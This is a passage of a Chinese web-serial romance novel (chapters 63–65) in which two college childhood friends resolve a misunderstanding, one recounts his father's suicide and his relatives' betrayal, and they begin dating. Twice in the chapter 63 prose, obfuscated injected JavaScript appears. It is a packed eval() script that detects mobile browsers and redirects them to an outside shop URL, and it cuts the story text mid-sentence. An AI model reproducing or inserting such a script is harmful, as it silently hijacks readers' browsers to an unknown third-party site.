他们站得位置就在路边,大概归咎于陈青禾过于出色的外表,边上往来的同学每每经过时,都会假装不经意地往过扫上一眼。往常也就罢了,但这会儿两人之间的氛围明显紧张着,被人看来看去,辛苗觉得有些不舒服。 只是还没等她说出口,陈青禾率先一把抓住了她的手腕,以一种不由分说的架势带着她往后走。 宿舍楼后面是一片绿化带,是隔开男女宿舍楼用的,里头除了花花草草,还种着许多白桦树,校友们戏称其为“小树林”。每个大学都有关于小树林的传说,大抵都是绯色八卦,师大也不例外。辛苗一个纯洁内敛的单身女青年,平常没事压根不会去这地方,哪怕它就在她宿舍边上。 此刻被陈青禾拉着,眼看着就要走进去了……辛苗心脏顿时不受控制,紧张得揪了起来。 不过事实证明她想多了,陈青禾并没有要带着她钻小树林的意思,他仅仅是不愿被别人看到他们起争执的样子,于是找了一个没什么人路过的地方。这里正好,两人只走到外围就停了下来。 陈青禾停得毫无预兆。 辛苗一时不察,被突然其来的阻力扽住,脚下连着往后退了两三步,直到后背撞到一棵树上,才堪堪稳住身形。 两人沉默对峙着,不同的是,辛苗是茫然的,而陈青禾却是一脸阴翳。他眼底泛着淡淡的青黑色,眼白上稀疏布着几道红血丝,周身气压低沉,也不知道究竟多少天没能睡个好觉了,竟熬成了这副样子。这让他整个人看起来像极了一只被困在笼子里的野兽,想逃脱却不得其法。 他攥着辛苗的手腕,力道越来越大,箍得越来越紧,紧到辛苗都疼了,他却仍不自知。 直到此刻,辛苗才觉出几分不对劲来。她甩了下手臂…没能甩开腕上的桎梏,却也顾不上管了。辛苗小心翼翼试探着问:“陈青禾,你还好吧?” 陈青禾哂笑了声,似乎这是一个多么好笑的问题。 他松开了辛苗的手腕,整个人朝着她逼近一步、再一步。 辛苗身后就是树干,根本无路可退,她也并不想退。 她直直地站在那里,看着眼前几乎摇摇欲坠的人——很奇怪,即使陈青禾站得笔直挺拔,她却总觉得他好像下一秒就要倒了似的。 两人之间的距离随着陈青禾的逼近被缩短至仅剩十公分不到。不等辛苗缓过神,他却突然低下了头。准确的说,是陈青禾躬起背,将头抵在了辛苗的肩上。 他像是再也支撑不住一般,两手垂落在身侧,除了额头紧贴着她,其余地方都没有触碰到她。 他又叫了一遍她的名字:“辛苗,我这些天,过得很不好。”竟是难得的示弱了。 辛苗短暂迟疑了几秒,展开双臂,圈住了陈青禾的腰。他很高,身量却是介于少年与成年人之间,不消瘦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为过于在乎,陈青禾轻而易举就陷入了辛苗粗糙挖掘的陷阱里。他在里面水深火热的煎熬着,理智与情感碰撞,道德与本能对峙,他无法说服自己放生她,亦无法抛却道德与底线,介入她与旁人的感情中,于是只能死死压抑着,拼命克制着。 而现在,压抑不住,克制不了,明知是错,无法止损。他放纵了本能,肆意的亲吻她,攫取她,啃噬她。嘴里尝到了血腥味,却仍不愿停歇,舌尖安抚似的在她伤口上舔舐过,很快又生涩的与她的缠在一起。 辛苗被他咬的生疼。 起先,她没舍得推阻,但没成想这人越来越过分……辛苗最后疼的没法再忍,一把掀开了他。 “陈青禾,你属狗的?!”辛苗恶狠狠道。 她抬手碰了下自己的嘴唇,只觉得又疼又麻,估计过不了几分钟就会肿起来了。 陈青禾仍在喘着粗气,视线触及到她的唇上时,他整个人都颤了下,似乎是才回过神来。然后他说:“对不起。” “这不是对不对得起的事!”辛苗怒了,她舔了舔唇,疼得倒吸一口冷气,于是更气了:“陈青禾,我问你,你现在精神状态,稳定吗?” “抱歉。”陈青禾又说了一句。 好嘛,对不起又换成抱歉了。 辛苗都快气冒烟了!她双手叉腰,决定不听他的屁话了,独断蛮横又霸道的下命令:“陈青禾你闭嘴!从现在开始你要听我说,我说的每个字你都要听清楚了!” 陈青禾喉结滚了滚:“你说。” 辛苗红着脸,一字一顿:“我、没、跟、人、谈、恋、爱。” 陈青禾:? 63. 第 63 章 师大东北角的奶茶店里,空调给得很足,燥热的风吹在人身上,驱散了从室外带进来的寒气。 还没正式开学,往常一座难求的店铺今天冷冷清清的。辛苗跟陈青禾坐在了角落靠墙的位置,女老板做了两杯奶茶端过来后,就回到了制作台里面继续玩起了手游,一时之间,游戏音效成了整个奶茶店里唯一的声音。 辛苗两手握着奶茶杯,嘴里咬着吸管。塑料管口经不起她这么啃,没几下就变了形,戳到了牙龈上。辛苗吃痛,也总算松开了嘴,放过了那支可怜兮兮的吸管。 方才双手叉腰的嚣张气焰此刻没剩下多少了,尤其是对上陈青禾时不时扫过来的若有所思的视线,她就更是心虚。 早死晚死都得死。 辛苗想通了,牙口一咬,抬眼直勾勾的瞪着对面的人,先发制人道:“你过年这段时间干什么去了?也没个信,我给你发消息你也不回,差点以为你失踪了。” 陈青禾答说:“回了趟广东。” 没想到是这个答案,辛苗愣住:“那边,不是都没什么人了?” 陈青禾说:“我舅还在。” 他语毕,眉心蹙了一下,嘴角绷直着……看上去有些排斥这个话题。 陈青禾搬来幸福巷之前的那段人生轨迹是辛苗不曾了解过的。因他十二岁那年的重大变故,这段经历成了不能提起的禁忌话题,辛苗当时不止一次的被她爸妈耳提面命,嘱咐着千万不能戳人伤口。就连平时爱话家常的邻里邻居每每寒暄到此处,都会噤了声。 十二岁以前的陈青禾和辛苗,就像两条平行线。辛苗在巷子里招猫逗狗,跟祝楠楠裴松他们上蹿下跳的时候,陈青禾正坐在窗明几净的单元楼里读书写字,为升入全省数一数二的初高中做准备。那时的他们,一个在北,一个在南,各自过着不同的人生。他们之间的分水岭,比秦岭淮河线还要清晰,如无意外,一辈子不会相交。或许某天,可能从长辈口中得知“爸妈以前关系好的某个朋友有个跟你同岁的孩子”,然后,也是一听就忘,跟吹过耳畔的一阵风似的。 可惜,人生无常。 辛苗心知他大抵是不愿意提起跟那边相关的人和事,虽然有些好奇,但也没有非揭人伤疤的意思,于是抿了抿唇,一笔带过:“这样啊,不方便说的话就算了。” “没什么不方便的。”陈青禾却说。他捏着吸管在玻璃杯里搅动了下,底下的珍珠跟着一起在杯中翻腾着。他眼睛盯着杯底,沉着嗓子缓缓说道:“我舅去世了,肝癌。年初二中午我们刚赶到,他下午就走了。” 辛苗没想到,他跟方蕊匆匆离开,竟是因为这样的事,一时之间没反应过来,错愕地张开了唇,却不知道该说什么。半晌,才低声安慰了句:“节哀。” 陈青禾摇了摇头:“我跟他感情并不深,甚至葬礼我也没参加。” 辛苗又是一怔:“那,方蕊阿姨……” 陈青禾:“我妈去了,我在酒店待着等她。” 辛苗握着奶茶杯的手无意识的收紧,指尖因为失血泛着白。她看着陈青禾,一双杏仁眼里盛满了担忧。犹豫了许久,才轻声道:“我能问,为什么吗?” 陈青禾抬眸,撞上了辛苗的眼睛。 他从她澄澈的瞳仁里看见了自己的倒影。 他神色平静,语气淡漠地说:“因为,我厌恶他。” 当年,陈青禾的父母刚刚结婚,便收到了厂里要改制裁员的消息。陈父有魄力,觉得90年代东南沿海遍地是黄金,干脆拿着厂里给的赔偿款,带着新婚妻子一头扎进了广东。刚开始过得很艰难,夫妻二人在一个小服装厂打工,老板有些门路,厂里的货基本都是外贸单。方蕊中专毕业,算是厂里的高学历,就被老会计带着干财务的活。陈父会开车,就专门给厂里送货,他能吃苦,为人又实在,很快得到了服装厂老板的青睐,成了老板的专职司机。 那几年,陈父跟着老板喝酒应酬,一来二去,也抓住了些机会,积攒一笔可观的储蓄。陈青禾也是那时候出生的,陈父总说他儿子命里带财,给他们家带来了不少赚钱的机遇。后来,服装厂老板嫌这行来钱慢,转身投向了房地产行业,陈父便出了些血,从他手里接过了厂子和销路。 千禧年初,陈父过得很是气派。从南下广东时的一间窄小的出租屋换成了150平的高层住宅,交通工具从厂里破破烂烂的货车摇身一变,成了日本进口的本田。他是个顾家的人,除了服装厂运营需要的资金外,其余大部分都投入到了妻儿身上。陈青禾小时候读的是全市最贵的幼儿园,等他刚升小学,陈父就给买了台对当时而言价值不菲的三星电脑。 这种优渥的经济条件羡煞了一众亲朋好友,陈青禾的舅舅和舅妈就是在那个时候过来投奔他们家的。他是方蕊的亲哥,实打实的自家人,陈父就把他们安排进了厂里,先干流水线的活,熟悉流程后就直接当管理。一个服装厂,不仅养富了陈家,也一并带富了方家。 老话说,落难方识人心。2008年,金融危机人尽皆知。不同的是,像老辛家这种吃死工资和小本吃喝生意的,对其最深的了解也不过是从新闻联播里。但陈父却是实打实的被这场浩劫打垮了。那段时间,周围的厂子一个接一个倒了、死了,没多久,就轮到了陈父的服装厂。当时,他手里的现金流全部砸进了这批服装上,但原本谈好的生意却因为买家没钱跑路而直接泡汤,到最后,他连给工人的工资都发不出来。那段时间,陈父借遍了所有能借的,只想着再撑一段时间,或许撑过去就好了……但他最终也没能撑过去,在给过完陈青禾十二岁生日的半个月后某个深夜,从顶楼一跃而下,摔得粉身碎骨。 之后,债主找上门,方蕊没办法,卖了厂子,卖了房子,卖了车,卖了所有能卖的一切……她原本只是一个活在丈夫庇佑下的女人,却在一夕之间不得不为自己和儿子顶起一片天。穷途末路,能卖的都卖完了,钱却还差十几万,方蕊没办法,求到了自己哥哥那边。这些年,她哥嫂两口子在厂里当着小领导,陈父给他们的薪水开的很是丰厚,如果诚心想拿,十万块还是拿得出来的。但是没有。哥嫂说,我们也不容易,我们也有孩子要养,厂子没了,我们往后房贷还不知道要怎么还,我们的孩子也要上学云云……当时陈青禾就站在他妈身后,看着往日总是笑眯眯的“自家人”上演着哭穷的戏码。他们虽然嘴上说着自己的惨状,但姿态却是高高在上的,眼底闪着异样兴奋的光。就像是看着往日让他仰人鼻息的人突然跪在了他们的脚下哀求着让他们施舍一些,境遇的反转,让他们有种畸形的快感。 最终,方蕊也没能从她的哥嫂那里借来十万块钱,倒是临走的时候,她嫂嫂给了一纸信封,里头装着五千块钱,说是给她们了,不用还,就当是哥嫂的心意。听说后来,没什么钱的哥嫂又换了辆新的小轿车……不过那都是后话了。 彼时年幼的陈青禾一言不发地站在母亲身后看着眼前这出荒诞的戏码,他年纪小,他们并未将他放在眼里,因而也没有避讳他,陈青禾用他那双浸了墨一般的眼睛记下了所有的一切。他无能为力,但并不妨碍他将这一切铭记于心。 方蕊东拼西凑,总算还清了所有欠款,繁华的沿海城市再也没有了她们的栖息之地,她只能带着刚刚小学毕业的陈青禾,回到兆城。好歹这里还有一户房子能供她们容身。 再往后的事辛苗就知道了。 陈青禾讲述这段经历的时候,语气始终是淡淡的。他与其说是在回忆,更像是在讲别人的故事。但饶是如此,辛苗听完还是心里发堵,像是心脏上被压了一块沉甸甸的石头。 “这次回去,是因为他临走前说想要见我和我妈一面。我们到的时候他意识已经不怎么清醒了,一直反反复复地说着对不起我们……但对不起这种话,除了能减轻加害者的愧疚感之外,百无一用。” “所以,你没去参加他的葬礼。” “嗯。当年我爸下葬的时候,他们也没有去送他最后一程。”陈青禾嘴角抬了抬,似是想笑,却到底没能笑出来。他半垂着头,衔住吸管嘬饮了一口奶茶,糖分过高的调制饮品让他很快皱起了眉头,他抬手,将杯子推到了一边,不再去碰。 “那几天,我整个人过得很混沌,一闭上眼,很多年前发生的过的事又被不受控制地回想起来,尤其是晚上睡着之后,一整夜梦到得都是那些。我很难受,但也不想跟我妈说,她那几天已经够乱的了。然后,我想到了你……” 辛苗抿了抿唇,嗫嚅道:“可是,可是你没有给我发微信啊。” “嗯。原本打算给你打电话的,临播出的那一秒,又退出了。大过年的,本该开开心心,没理由让你听一堆陈芝麻烂谷子的事,坏你的心情。”陈青禾说完,看了她一眼:“而且,我当时以为你有男朋友了。” 辛苗:“……” 她现在除了后悔,还愧疚。 “我们一直待到初八,初九就是他的头七。按照我妈老家的习俗,头七那天,要外甥拿着逝者生前的一件衣物从家里放到坟头,具体寓意我也不清楚,老一辈人比较信这个。我舅妈带着我表姐来酒店找我妈,希望我当天可以去。我妈尊重我的意见,拒绝了。然后,她们就开始闹,一边哭一边指着我妈说她没把我教好,说我这个人骨子里冷漠、自私,六亲不认,有爹生没爹养……” 辛苗听不下去了,气得手在桌上重重一拍,“她们凭什么这么说你!” 陈青禾却笑了,跟方才的冷笑与嘲讽不同,这次他是真正意义上的笑。辛苗气鼓鼓帮亲不帮理的模样让他感到无比熨帖,一直悬着的心脏终于落到了实处。 早慧如陈青禾,早就深刻体会过人心凉薄,他对“人性”这件东西是不抱有任何希冀的。比起虚无缥缈的“亲情”“友情”,握在手心里的东西在他看来才更真实。他厌恶人心,从不与人深交,却也懂得算计人心,知道怎样做才能得到自己想要的。 就比如此刻。他说自己的经历,说自己的过往,看似处于弱势,实则却主导着这一场谈话。尤其是,当辛苗为他红了眼眶,他整颗心脏都忍不住的战栗着。 她是他从十二岁起,阴暗潮湿的人生中唯一的太阳。他喜欢看她笑,看她闹,看她生气,看她撒娇,看她全心全意信赖着自己。他对她有一种独占欲,不知道从什么开始。后来,年岁渐长,情窦初开,在他还没意识到的时候,这种畸形的独占欲彻底变质,以心动为起始,套上名为“爱情”的外壳。所以,在得知她有男朋友的那一刻,他的理智和情感一同崩塌,坠入了不见底的深渊。他桎梏着她,与她在无人的房间里肆意亲吻,在那一刻,他整个人都是疯癫的。他甚至做好了她会恨自己的准备。没想到的是,她并没有,她甚至主动抱住了他,主动吻了上来。那一刻,他整个灵魂都在叫嚣着——留住她,用尽一切办法留住她。 只不过,还没等他想好该用什么方法彻底让她留在身边时,就被所谓的舅舅突如其来的死讯扰乱了一切。他混沌了十天,一切都是浑浑噩噩的,但想要她这件事,却从未改变。 好在,一切都是假的,辛苗还是那个辛苗,她没有丢下他选择其他人,她一直站在他这一边,以一种她自己都没意识到的坚定。 “别生气,我并不在意别人的看法。”陈青禾眸光闪了闪:“只不过,或许她们没有说错,我就是这么一个人。自私、冷漠,是个不折不扣的利己主义者,只想着独善其身,懒得去管他人的死活,所以从小到大人缘都不怎么好……” “你不是。”辛苗又一次打断他的话,她眼里含着泪,看上去委屈巴巴的,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283456|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你别这么说你自己,我不爱听!” 她的泪花将掉未掉,颤颤巍巍的坠在眼角。鼻尖是红的,脸颊也是红的,甚至连手指尖都泛着红。陈青禾喉结滚动,心脏仿佛被她的眼泪煮着,烫得他呼吸都变得灼热。 他掀开唇,声音喑哑:“辛苗,你把我想得太好了。” 辛苗抬手在眼角随便一抹,语气蛮横道:“你本来就不是!你怎么会冷血自私呢?你明明特别好,从小到大,我问你题的时候你从来不会藏私,更不会不耐烦。我嘴馋,老是骗你的零花钱买吃的,你也很大方的给我买。你还老是去我妈店里帮她忙,出去考试还给我们一家人都带礼物……你哪里自私哪里冷漠了?你那个舅妈就是放——”最后一个字被她及时咽了回去。毕竟是陈青禾的舅妈,她就这么骂人多多少少还是有些不合适,不合适…… 她情绪比当事人还要激动上几分,想都没想就列举出一大串事实来反驳他,到最后,越说声音越大,甚至连店老板都被吸引,从紧张的游戏中抬起头,好奇地往过瞅了一眼。 陈青禾食指在唇上比了个噤声的动作,然后没忍住,又笑了笑。 辛苗顿时狠狠瞪他一眼! 陈青禾退让,“抱歉,你别生气,是我的错,我在胡说八道。” 辛苗扯了张抽纸在眼角擦了擦,直到那点水汽被擦干净,她才松开手,冷哼了一声:“知道就好!” “辛苗。”陈青禾叫她的名字:“比起我为你……为你们家做的事,其实你们帮助我和我妈更多。我对你好,不是因为我有多好,相反,是因为你本身足够的好。周围所有的朋友都喜欢你,祝楠楠、裴松、蒋珂……” “那你呢?你喜欢我吗?” 陈青禾呼吸一滞,立刻掀起眼帘看她。 辛苗歪着头,大眼睛忽闪忽闪的,就像是一汪清澈的泉水,一眼就能看得到底。她在问他问题,所以脸上的表情是疑惑且紧张的,牙齿咬着下唇一点软肉,直勾勾地看向他。 陈青禾的欲与念在她澄澈纯净的眼眸底下几乎无处遁形。 第一次,他没有权衡利弊,没有瞻前顾后,没有去寻找最优解。他遵从身体的本能,遵从内心最本真的答案。 “喜欢。”他音色干哑。 辛苗点了点头。她刚哭过,声音闷闷的,还有点鼻音,“这还差不多,我也喜欢你的。” 前台,手机的游戏音戛然而止,店老板一局游戏打完,站起身伸了个懒腰。墙上的复古原木挂钟指向九点,木头小鸟从树窝里伸出来报着时,尖锐的鸟叫声将原本寂静的空气打破。 “我们走吧,到打烊时间了。”辛苗红着脸起身往外走。 陈青禾沉默着跟在她身后。 元宵节,顶上的月亮又圆又大,像个玉盘挂在天边,照得地面上亮亮堂堂的。辛苗走在前头,陈青禾在后,中间始终隔了一米多的距离。辛苗走得快,他也快,辛苗慢,他也慢,辛苗停住,他也停下。 辛苗气急败坏直接回头:“我身上有什么东西吗?你离得那么远做什么?” 陈青禾抿唇笑了,三两步走上前,走在了她的身边。 从奶茶店到宿舍楼中间隔了老远的距离,两人静静地走着,月亮将他们的影子拉得长长的。 静默了好一会儿,辛苗清了清嗓子:“那个,你跟我说了那么多,那我也要跟你坦白一件事。” 陈青禾:“嗯,你说。” 辛苗:“除夕夜,你在我手机上看到的那个学长的微信,其实是祝楠楠发的。” 陈青禾:“……” 辛苗:“我跨年那天本来打算要你跟你说我喜欢你的,我怕你拒绝我,所以我想先问问你有没有喜欢的人,但你说没有。” 陈青禾一下子哑了声。 他小心翼翼,百般算计,只想着等一等,再等一等,等她更依赖他一些,更喜欢他一些,等到十拿十稳的时候,再坦诚自己的心意。他容不得失败,尤其是在这件事上。 但千算万算,他没算到,在听她亲口说有喜欢的人的时候,他疲惫不堪的大脑彻底罢工,完全没想到那人会是自己……典型的聪明反被聪明误。陈青禾头一回怀疑起了自己的智商。 “抱歉,是我误会了。” “是应该抱歉。”辛苗埋怨:“你害得我纠结了好久,最后没办法,才跟祝楠楠想出那么个馊主意试探你……你看,我骗了你,你咬了我,这事翻篇儿,我们两清,行吗?” 陈青禾刚想问他什么咬她了,结果下一秒,就看见她仍有些红肿的嘴唇,顿了一顿,只能妥协:“嗯,听你的。” “那就好。”辛苗舒了一口气,蓦地,她想起一件更加重要的事:“……那,我们现在算不算谈恋爱了?” 陈青禾把选择权交给她:“你说了算。” 辛苗却摇头:“我不说,要你说。” 陈青禾还能说什么? 这是他好不容易才握到手心的人。 他没有半点犹豫便给出了答案:“算。” 辛苗对这个答案不置可否。 隔了会儿,她突然“嘿嘿”笑了声。 陈青禾问她:“笑什么?” 辛苗说:“没什么,嘿嘿。” 话落,她突然往他身边靠了一步,伸手戳了戳他垂落在身侧的手。 陈青禾瞬间会意,他手腕轻翻,握住了她。 北京的冬天还没彻底过去,屋外气温仍在零度以下,但两人十指相扣,手心紧贴在一起,没一会就出了一层薄薄的汗,却也没送开。 回宿舍楼的路上,辛苗一路都在低着头偷笑。 陈青禾说她:“傻子。” 辛苗仰头看他,眼底映着天上的月亮,“我不是傻子,我是你的女朋友~” 64. 第 64 章 大概每个女生情窦初开时都憧憬过自己的第一次恋爱生活,辛苗当然也不例外。 关于“如何谈恋爱”这个命题,她仅有的经验不是来自偶像剧,就是来自言情小说……显然可操作性不是很大。说来也怪,从小到大,跟她关系亲近的朋友们奇异的孤寡至今,唯一一个谈过恋爱的,只有裴松……但他是男的,经验不能迁移到辛苗这边,直接pass。 因为,所以,辛苗是个纯新手。 令她感到欣慰的是,陈青禾也是。 正好,他们俩谁也别嫌弃谁。 或许是他们两个纯新手经验不足,确定恋爱关系以来,辛苗总觉得跟以前没多大变化,俩人还是各自过着各自的生活,除了空闲时间会发发微信关心对方——但辛苗跟陈青禾没谈恋爱之前也会经常发。 综上,他们的恋爱,谈了,又好像没谈。 甚至就连辛苗每天抬头不见低头见的几个舍友都没发现,她已经有男朋友了。 为此,辛苗很苦恼。 但她并不是一个会内耗自己的人,她选择将这个问题抛给她那无所不知无所不能的男朋友,陈青禾。 于是某天下午,陈青禾上完当天的最后一堂课回到宿舍的时候,微信收到了一则消息。 辛苗:【为什么我觉得我们不像是在谈恋爱?】 陈青禾看完,原本还面无表情的一张俊脸当时就沉了下来。变化速度之快,直把一旁的舍友吓了一跳。 他阴着一张脸盯着手机屏幕,眉压着眼,唇角紧绷,一副山雨欲来风满楼的架势,像是看到了什么惊天大噩耗,下一秒就要控制不住扔了手机似的。 舍友方博推了推鼻梁上的眼镜,磕巴着问:“怎…怎么了?发生什么事了?” 陈青禾回过神,将书包放在了桌上。 他腾出一只手拉出凳子坐了下去,背挺得笔直,手机被他放在桌面正中间的位置,屏幕亮着,他眼睛直直盯着里头,一直到手机屏自动熄灭。 就在方博以为陈青禾不会搭理他的时候,却见他突然侧过身问了句:“你谈过恋爱吗?” 方博吓了一跳,以为自己听错了,愣愣的确认了一遍:“你是在问我,谈没谈过恋爱?” 陈青禾蹙着眉略一点头:“嗯。” 方博静默两秒,一种优越感油然而生,他不自觉地挺起了胸膛:“当然!” 陈青禾眉梢一挑,直接问:“方便说一下么?谈恋爱应该是什么样子的。” 今天之前,方博对这位名叫陈青禾的室友一直是敬而远之的。不光是他,宿舍的其他两个人也大差不差。他们一致认为,陈青禾这个人,智商高学习好,还长了一副过于优越的脸,偏偏性格又过于冷淡,以至于他们总觉得陈青禾身上带着丝傲气,凭借一己之力孤立了他们所有人。所以每当有女生明里暗里朝他们打听陈青禾的时候,他们几个都会好心好意地劝那些姑娘们换个人,想拿下陈青禾不现实。甚至他们几个还在私下打过赌,赌陈青禾大学四年到底会不会沾女色半分。最后赌局黄了,因为他们四个都选不会。 然后,今天,这位不沾女色的高冷舍友突然问起他谈恋爱应该是什么样儿,方博顿时有种天塌了,太阳打西边出来了的不真实感。 不过片刻后,他就缓过来了。方博有点尴尬,“那什么,我就谈过一个,经验不是很多。” 陈青禾点了点头,淡淡道:“嗯,你说。” “那我说了啊,你就随便听听。”方博一清嗓子,道:“谈恋爱嘛,分人,有的人喜欢黏在一起,有的人比较成熟,就相对独立一些。我当时谈的时候是高二,背着家长老师偷偷谈的,我俩一个班,每天早上我就给她送早点,终于一起去食堂吃饭,她有不会的题我就给她讲。还有就是,她生日的时候,我会攒零花钱给她买生日礼物,不贵重,但也是个心意……大家都是学生么,来来回回也就这么些事,其实没什么特别的,最主要的是要让对方感受到你心里有她,在乎她。” 方博说完,挠了挠头,他自己都觉得自己说这话挺没营养的。却不想陈青禾听完,竟是一副若有所思的样子。 方博没忍住,试探着问:“那个,陈青禾,你谈恋爱了?” 陈青禾掀起眼皮看他一眼,片刻,点了点头。 他唇角紧抿着,却在同一时间,扬起了一抹极浅的弧。 回答完,陈青禾便没再理会兀自风中凌乱的方博了。他垂眸,重新拿起手机,半晌后,手指在屏幕上轻点,给辛苗回了条微信。 陈青禾:【这周末你方便的话,我过去找你。】 - 跟陈青禾约的时间是周六下午三点钟,辛苗才刚吃过午饭就有些坐不住了。李欣悦一看看出她状态不对,再三追问之下,才终于知道她谈恋爱了。 “就你那个大帅比竹马?” “……嗯。” “搞定了?” “嗯!” “什么时候开始的?” “元宵节当天。” 李欣悦掰掰手指头一算:“这都快一个月了,你们今天才第一次约会?” 辛苗怔了下,因为“约会”两个字。她原本以为她俩就是单纯见个面,跟以前的数次没什么差别……但李欣悦提醒了她,谈恋爱以后,两个人单独出去就不是普通见面了,这叫约会~ 李欣悦没眼看:“苗,你别傻笑了好吗?” 辛苗摸了摸脸:“我有笑吗?” 李欣悦:“你都快笑成一朵花了!” 辛苗羞涩抿唇:“好吧,我尽量忍住……那什么欣悦啊。” 李欣悦:“嗯?” 辛苗赧然地挠了挠头,虚心求教:“你说,第一次约会,有什么需要注意的吗?” 李欣悦默了半晌,扑哧一声直接笑喷了。 她靠在床头,笑得前仰后合,整个人都快趴下了。 好不容易等她笑够了,抛来一句四字箴言—— “做你自己。” 附带补充说明:“真正喜欢你的人,根本不需要你刻意做什么,你只站在那儿,他都会喜欢你的。” 于是,下午三点,陈青禾站定在宿舍楼下的时候,眼睁睁的看着自己的新晋女朋友裹成了一颗糯米团子从宿舍楼里滚了出来。 辛苗穿着她那件厚实的纯白色羽绒服,马尾高高扎着,脖子上围着湛蓝色的围巾,素面朝天蹦蹦跳跳的朝他跑了过来。 临到陈青禾面前的时候,脚步忽地一顿,疑惑道:“你怎么穿这么薄,不冷吗?诶,你这件衣服我好像没见过。” 往常怕冷总是一件长款黑色羽绒服将自己从头到脚捂得严实的陈青禾今天突然一反常态地只穿了件黑色短款飞行棉服,甚至衣襟拉链也没拉,露出里头的灰色帽衫。下面是一条较为宽松的做旧色牛仔裤和黑白相间的高帮板鞋。 他本来身高长相就十分之优越,这么稍一改变风格,格外亮眼。 他说:“年前随便在网上买的,穿过,你没见。” “是吗?”辛苗狐疑,随口道:“噫,我还以为你是来见我之前,特意倒饬了一下。” 陈青禾面色几不可见的僵了瞬。 很快,轻描淡写地否认:“没有。” 辛苗努努嘴,“那我们现在去干嘛?” 陈青禾说:“约会。” 辛苗小脸一下子就红了。 两人一起去了电影院看电影,结束之后又吃了热乎乎的火锅,等从餐厅出来的时候,天已经暗下来了。回宿舍楼的路上,辛苗觉得有点撑,提议去操场遛两步消消食,陈青禾自然没什么异议。 傍晚时分,操场人气最旺的时候,打篮球的踢足球的打羽毛球的玩各种体育项目的几乎齐聚一堂,偌大的操场被分割成无数小空间,大家各占一隅,互不打扰。而除了锻炼身体的同学,剩下最多的就是并排走在一起轧操场的小情侣。 辛苗原先还跟舍友吐槽过,说也不知道傍晚的操场有什么好转的,跑道上全是情侣,奇奇怪怪。现在,她自己也成了其中一员,辛苗觉得,操场确实挺好转的。 她跟陈青禾并排围着塑胶跑道走圈,饭后消食,两人步速都不快,边走边有一搭没一搭的聊着。 辛苗吐槽:“今天的爱情电影一点都不好看 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她掩饰似的挣扎了下,小声抗议:“别人都是十指相扣。” 陈青禾却没纵着她。他手更紧了紧,声音低低道:“别闹,这样你手不冷。” 事实证明,陈青禾说的没错。 被他这样握着,辛苗手一路都是暖和的。 两人绕着操场走了好几圈,夜色渐深,陈青禾还要回他自己的学校,不能继续待下去了。他将辛苗送到了宿舍楼下。第一次被他以男朋友的身份送回来,辛苗很害羞,拉着陈青禾站在了宿舍楼背面没人注意到的阴影里头。 辛苗站在台阶上,陈青禾在台阶底下,两人视线勉强齐平着。辛苗却没看他,低着头,哼哼唧唧地说了一句话。 “什么?”陈青禾没听见。 辛苗又说了一遍,声音在原基础上大了一丁点,但还是有些模糊。 陈青禾还是没听清楚,辛苗这幅扭扭捏捏的样子让他想笑,却又怕真笑出来惹得他恼羞成怒,干脆曲起一只手指,在她脑门上轻弹了下,“你声音太小,我真的听不清。” 辛苗唰一下捂着脑门抬起头,立马不害羞了,声音也大了:“真听不见假听不见?” 陈青禾忍笑说:“真听不见。” 辛苗将信将疑地看了他几秒,突然倾身凑到了他耳朵边,哈着气说:“我说,我今天挺开心的——这回听清楚了吗?” 她说话间吐出的气流像一阵燥热的风,不偏不倚吹在了他的耳廓上。陈青禾垂在身侧的手骤然握紧,喉间一阵干燥,他下意识做了个吞咽的动作,眼神也随之变暗了几分。 辛苗恶作剧成功,乐得花枝乱颤。 好一会儿,笑完了,发现陈青禾还是刚才那副表情,黑色的瞳仁宛如浸了墨一般,锁在她身上。 这个眼神她有些熟悉。 辛苗不敢笑了,咬着唇问:“干嘛这么看着我?” 陈青禾回神,睫毛微垂着挪开了眼。 他清了清嗓子,再度抬眼时,眸色已然恢复清明。 “我要回去了。”他说。 辛苗:“哦,好的,拜拜。” 陈青禾眯起眼,问:“我能抱你一下吗?你看他们都在抱着。”他下巴轻台,示意她看旁边宿舍楼下抱在一起的其他情侣,且完美复刻了她刚才在操场上要牵手时的说辞。 辛苗脸颊跟着了火似的滚烫。 她张开手臂环住他的肩膀,甚至还故作豪迈的在他背后拍了几下,无比敷衍。只不过在她准备起身离开的时候,却被陈青禾一把扣住了腰。 辛苗臊得推他……没推开,气得咬牙切齿:“你这不抱的挺熟练的,还做模作样问我干嘛?” “懂了,下次不问了。” “陈青禾!” 在辛苗恼羞成怒前一秒,陈青禾终于松了手。 拥抱分开的时候,他头微侧着,唇畔在她耳廓上轻轻擦过,一触即分。 算是报了刚才的仇。 65. 第 65 章 事实证明,聪明人学什么都快。 包括不限于设计约会行程,牵手,甚至是接吻。 陈青禾在这方面的进步是飞速的。 刚开始他还会主动打个招呼,说什么“手给我”,“抱一下”“可以亲你吗?”,每次辛苗都得从额头红到指尖,再气急败坏被他得逞。辛苗一度怀疑此人是故意的,他就爱作弄她玩儿,这是陈青禾的恶趣味。 但随着两人约会次数渐多,一来二去的,陈青禾慢慢也就不再问了,他总能在恰当的场景,恰当的氛围,做恰如其分的亲密的事,但从来不会让辛苗觉得不舒服。 有次,辛苗纳闷地问他:“你为什么进步这么快?你是不是私下偷偷学习了?” 陈青禾一本正经地说:“不用学,看见你就无师自通了。” 辛苗:“那我怎么通不了?” 陈青禾扫她一眼,淡淡道:“那我以后多教你。” 辛苗瞬间又红温了:“……谢谢您,不用了!” 